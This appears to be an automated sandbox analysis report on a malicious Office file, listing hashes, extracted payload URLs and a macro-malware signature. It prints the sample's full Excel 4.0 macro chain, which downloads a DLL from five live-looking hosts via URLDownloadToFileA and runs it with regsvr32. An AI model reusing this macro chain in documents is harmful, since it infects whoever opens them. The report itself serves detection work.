General
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Target
ff1df38d2d11c6a84f61550cd9896b540bbca7ada649e41a7e255cc8d2d74362
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Size
173KB
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MD5
db11e102f2773b11905274add7c5c232
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SHA1
5fb901ca2177bbb7452f19c1c8672d906f18c89a
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SHA256
ff1df38d2d11c6a84f61550cd9896b540bbca7ada649e41a7e255cc8d2d74362
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SHA512
7a2cf87c4d581e964b76a1443da4754d3e074a8d31b6c54e451ba19445048a3c6eec1c0fd83f16b2cbae03356e293d7de19c0595e4794ad6d0c4fafed7acd2ef
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SSDEEP
3072:DUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:D+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU
Malware Config
Extracted
https://carretilha.net/whats/RSL50BlRP0a6hj/
https://shrinandrajoverseas.com/old/wQXty0wnVDY/
https://zionimoveis.com.br/wp-content/Bn00gaw/
https://kontacsgo.pl/m/uwZYNUjGeWW/
http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/
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formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()
Signatures
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Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
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ff1df38d2d11c6a84f61550cd9896b540bbca7ada649e41a7e255cc8d2d74362